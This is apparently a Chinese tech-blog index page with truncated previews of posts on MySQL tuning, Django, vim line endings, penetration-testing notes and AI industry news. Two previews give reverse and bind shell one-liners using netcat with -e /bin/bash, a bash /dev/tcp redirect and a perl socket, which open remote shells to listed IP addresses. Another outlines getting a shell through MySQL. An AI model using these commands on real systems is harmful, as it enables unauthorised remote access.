51工具盒子

2024-12-29 厉飞雨 阅读(132) 评论(0) 赞(6)

MySQL优化 ======= \*\*1. \*\* \*\*避免使用 select \* \*\* 你需要什么信息,就查询什么信息,查询的多了,查询的速度肯定就会慢 **2.** \*\*当你只需要查询出一条数据的时候,要使用 limit 1 \*\* 比如你要查询数据中是否有男生,只要查询一条含有男生的记录就行了,后面不需要再查了,使用Limit 1 可以在找到一条数...

2024-12-29 厉飞雨 阅读(125) 评论(0) 赞(7)

前言 === 因工作需要学习了一下django。特此记录 mysql表映射 ======== 在项目的根目录下执行下面的命令将mysql表映射到django的models中 python manage.py inspectdb > models.py 覆盖models ======== 然后将生成models.py文件覆盖掉站点app中的models....

2024-12-29 厉飞雨 阅读(136) 评论(0) 赞(6)

前言 === 随便记录一下笔记,方便查询.最近是想到什么就记什么. 渗透测试mysql ========= 关于如何攻击mysql请直接看这篇\>[Mysql数据库渗透及漏洞利用总结](https://xz.aliyun.com/t/1491)写的很全 拿shell ====== 1前提需要知道网站的真实**物理路径** 2查看是否允许导入导出 ...

2024-12-29 厉飞雨 阅读(119) 评论(0) 赞(8)

前言 === 刚刚用windows写了个脚本，拿到kali执行发现的问题（还是太垃圾了） 解决 === 用windows系统打开过的文档会被改为dos格式 dos格式：CR LF unix格式：LF 在vim中用\*\*:set ff**查看格式 用** :set ff=unix**和**:set ff=dos\*\*来改变格式

2024-12-29 厉飞雨 阅读(104) 评论(0) 赞(7)

使用 === 正向shell： nc -lvvp 1988 -e /bin/bash nc 10.1.10.2 1988 //攻击鸡 反向shell： nc -e /bin/bash 152.54.56.4 1988 nc -lvvp 1988 //攻击鸡 注...

2024-12-29 厉飞雨 阅读(118) 评论(0) 赞(4)

说明 === 分享一下各种版本的shell写法 bash版本： bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 perl版本: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM...

2024-12-29 厉飞雨 阅读(125) 评论(0) 赞(5)

说明 === 涨姿势的文章日常分享 [通过MySQL LOAD DATA特性来达到任意文件读取](https://xz.aliyun.com/t/3973)

2024-12-29 厉飞雨 阅读(84) 评论(0) 赞(5)

无论客户是否想要，微软都将其 AI 助手 Copilot 整合到其产品中，提供给客户，然后涨价，让客户为 AI 付费。微软最近将 Copilot 集成到了澳大利亚和东南亚国家的订阅服务 Microsoft 365 中，随后提高了订阅价格。用户抱怨 Copilot 就像微软 1990 年代饱受非议的 Clippy 助手一样惹人厌，澳大利亚用户还发现 Microsoft 365 的...

2024-12-29 厉飞雨 阅读(111) 评论(0) 赞(5)

OpenAI 的最大投资者和盟友微软正致力于为其 AI 产品 Microsoft 365 Copilot 引入其它公司的 AI 模型，以实现多元化并降低成本，同时减少对 OpenAI 的依赖。微软发言人对此回应称，OpenAI 仍然是该公司在前沿模型（Frontier Models）上的合作伙伴。微软表示它根据产品和体验整合来自 OpenAI 和微软的各种模型。微软旗下的代码托...

2024-12-29 厉飞雨 阅读(155) 评论(0) 赞(6)

帮助 Google 改进 AI 模型的合同工被要求对比 Gemini AI 与竞争对手 Anthropic 公司的 Claude 模型的输出结果。科技巨头们正在竞相构建更出色的 AI 模型，模型的性能通常会与竞争对手进行比较，但主要是通过行业基准测试，而不是让合同工们费力去评估竞争对手 AI 的反应。Google Gemini AI 模型的合同工们被要求根据真实性和详细程度等指...